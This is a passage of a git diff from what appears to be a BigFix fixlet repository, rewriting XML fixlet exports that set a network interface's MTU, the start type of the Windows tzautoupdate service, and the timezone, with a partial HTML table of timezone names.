-    <Relevance><![CDATA[(not exists value "MTU" of key ("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\" & concatenation "" of (names of it of it whose (exists value "IPAddress" whose (it as string starts with "10.") of it)  of (it; keys of it) of key "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" of registry)) of registry) OR (exists key ("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\" & concatenation "" of (names of it of it whose (exists value "IPAddress" whose (it as string starts with "10.") of it)  of (it; keys of it) of key "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" of registry)) whose (value "MTU" of it != 1400) of registry)]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2011-11-07</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 07 Nov 2011 20:59:28 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{(names of it) of it whose (exists value &quot;IPAddress&quot; whose (it as string starts with &quot;10.&quot;) of it)  of (it; keys of it) of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces&quot; of registry}]&quot; &quot;MTU&quot;=dword:00000578</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set MTU to 1400
+  ID       : 2456
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2013-05-08T08:03:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set MTU to 1400</Title>
+    <Description>Detects if the MTU for the 10.* interface is NOT set to 1400. If so, this will report as relevant and will change the interface to 1400</Description>
+    <Relevance><![CDATA[(not exists value "MTU" of key ("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\" & concatenation "" of (names of it of it whose (exists value "IPAddress" whose (it as string starts with "10.") of it)  of (it; keys of it) of key "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" of registry)) of registry) OR (exists key ("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\" & concatenation "" of (names of it of it whose (exists value "IPAddress" whose (it as string starts with "10.") of it)  of (it; keys of it) of key "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" of registry)) whose (value "MTU" of it != 1400) of registry)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-11-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 07 Nov 2011 20:59:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{(names of it) of it whose (exists value &quot;IPAddress&quot; whose (it as string starts with &quot;10.&quot;) of it)  of (it; keys of it) of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces&quot; of registry}]&quot; &quot;MTU&quot;=dword:00000578</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to Auto - Windows (24613).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to Auto - Windows (24613).bes
index d78cba583..106d864ea 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to Auto - Windows (24613).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to Auto - Windows (24613).bes	
@@ -1,46 +1,46 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Set Service tzautoupdate to Auto - Windows
-  ID       : 24613
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-08-09T21:18:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Set Service tzautoupdate to Auto - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
-    <Relevance>not exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND not exists values &quot;DelayedAutoStart&quot; whose(it as integer = 1) of it AND exists values &quot;Start&quot; whose(it as integer = 2) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 10 Aug 2017 04:12:41 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-waithidden cmd /C sc config tzautoupdate start= auto
-
-// References:
-//  - https://technet.microsoft.com/en-us/library/cc990290
-//  - https://developer.bigfix.com/relevance/reference/service.html
-//  - https://serverfault.com/questions/599099/windows-service-trigger-start-difference-manual-vs-automatic
-//  - https://www.tenforums.com/general-support/7464-difference-between-manual-manual-trigger-start-services.html#post924871
-//  - https://bigfix.me/relevance/details/3020300
-//  - https://bigfix.me/relevance/details/3020298
-//  - https://bigfix.me/relevance/details/3020297
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Service tzautoupdate to Auto - Windows
+  ID       : 24613
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Service tzautoupdate to Auto - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>not exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND not exists values &quot;DelayedAutoStart&quot; whose(it as integer = 1) of it AND exists values &quot;Start&quot; whose(it as integer = 2) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:12:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc config tzautoupdate start= auto
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://serverfault.com/questions/599099/windows-service-trigger-start-difference-manual-vs-automatic
+//  - https://www.tenforums.com/general-support/7464-difference-between-manual-manual-trigger-start-services.html#post924871
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to DelayedAutoStart - Windows (24612).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to DelayedAutoStart - Windows (24612).bes
index 158b9a60c..0867f0319 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to DelayedAutoStart - Windows (24612).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to DelayedAutoStart - Windows (24612).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Set Service tzautoupdate to DelayedAutoStart - Windows
-  ID       : 24612
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-08-09T21:18:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Set Service tzautoupdate to DelayedAutoStart - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
-    <Relevance>not exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND exists values &quot;DelayedAutoStart&quot; whose(it as integer = 1) of it AND exists values &quot;Start&quot; whose(it as integer = 2) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 10 Aug 2017 04:16:08 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-waithidden cmd /C sc config tzautoupdate start= delayed-auto
-
-// References:
-//  - https://technet.microsoft.com/en-us/library/cc990290
-//  - https://developer.bigfix.com/relevance/reference/service.html
-//  - https://bigfix.me/relevance/details/3020300
-//  - https://bigfix.me/relevance/details/3020298
-//  - https://bigfix.me/relevance/details/3020297
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Service tzautoupdate to DelayedAutoStart - Windows
+  ID       : 24612
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Service tzautoupdate to DelayedAutoStart - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>not exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND exists values &quot;DelayedAutoStart&quot; whose(it as integer = 1) of it AND exists values &quot;Start&quot; whose(it as integer = 2) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:16:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc config tzautoupdate start= delayed-auto
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to demand - Windows (24611).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to demand - Windows (24611).bes
index b345f9694..bd289b840 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to demand - Windows (24611).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to demand - Windows (24611).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Set Service tzautoupdate to demand - Windows
-  ID       : 24611
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-08-09T21:18:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Set Service tzautoupdate to demand - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
-    <Relevance>not exists start types whose(it = &quot;demand&quot;) of services &quot;tzautoupdate&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 10 Aug 2017 04:15:55 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-waithidden cmd /C sc config tzautoupdate start= demand
-
-// References:
-//  - https://technet.microsoft.com/en-us/library/cc990290
-//  - https://developer.bigfix.com/relevance/reference/service.html
-//  - https://bigfix.me/relevance/details/3020300
-//  - https://bigfix.me/relevance/details/3020298
-//  - https://bigfix.me/relevance/details/3020297
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Service tzautoupdate to demand - Windows
+  ID       : 24611
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Service tzautoupdate to demand - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>not exists start types whose(it = &quot;demand&quot;) of services &quot;tzautoupdate&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:15:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc config tzautoupdate start= demand
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to disabled - Windows (24610).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to disabled - Windows (24610).bes
index e94f220e5..f667c5f51 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to disabled - Windows (24610).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to disabled - Windows (24610).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Set Service tzautoupdate to disabled - Windows
-  ID       : 24610
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-08-09T21:18:23
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Set Service tzautoupdate to disabled - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
-    <Relevance>not exists start types whose(it = &quot;disabled&quot;) of services &quot;tzautoupdate&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 10 Aug 2017 04:15:38 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-waithidden cmd /C sc config tzautoupdate start= disabled
-
-// References:
-//  - https://technet.microsoft.com/en-us/library/cc990290
-//  - https://developer.bigfix.com/relevance/reference/service.html
-//  - https://bigfix.me/relevance/details/3020300
-//  - https://bigfix.me/relevance/details/3020298
-//  - https://bigfix.me/relevance/details/3020297
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Service tzautoupdate to disabled - Windows
+  ID       : 24610
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Service tzautoupdate to disabled - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>not exists start types whose(it = &quot;disabled&quot;) of services &quot;tzautoupdate&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:15:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc config tzautoupdate start= disabled
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Timezone - Windows (2613).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Timezone - Windows (2613).bes
index 3e5bde58e..3b55154de 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set Timezone - Windows (2613).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Timezone - Windows (2613).bes	
@@ -1,365 +1,365 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Set Timezone - Windows
-  ID       : 2613
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2013-10-08T13:24:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Set Timezone - Windows</Title>
-    <Description><![CDATA[<P>This fixlet will set the timezone on the endpoint. A few popular timezones have been preset but if you need a custom timezone, use the list below. If the timezone needs to have Daylight Saving Time disabled, append the timezone name with _dstoff, i.e. "Pacific Standard Time_dstoff". A list of all valid timezones is below. Copy the name in the right column of the timezone that you want. Do not include any quotes, just the name in the right column.</P>
-<P>
-<TABLE style="WIDTH: 479pt; BORDER-COLLAPSE: collapse" border=0 cellSpacing=0 cellPadding=0 width=638>
-<COLGROUP>
-<COL style="WIDTH: 312pt; mso-width-source: userset; mso-width-alt: 15213" width=416>
-<COL style="WIDTH: 167pt; mso-width-source: userset; mso-width-alt: 8118" width=222>
-<TBODY>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; WIDTH: 312pt; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20 width=416><FONT size=3><FONT face=Calibri>(UTC-12:00) International Date Line West<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; WIDTH: 167pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" width=222><FONT size=3 face=Calibri>Dateline Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-11:00) Coordinated Universal Time-11<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC-11</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-11:00) Samoa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Samoa Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-10:00) Hawaii<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Hawaiian Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-09:00) Alaska<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Alaskan Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-08:00) Baja California<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific Standard Time (Mexico)</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-08:00) Pacific Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Arizona<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>US Mountain Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Chihuahua, La Paz, Mazatlan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mountain Standard Time (Mexico)</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Mountain Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mountain Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Central America<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
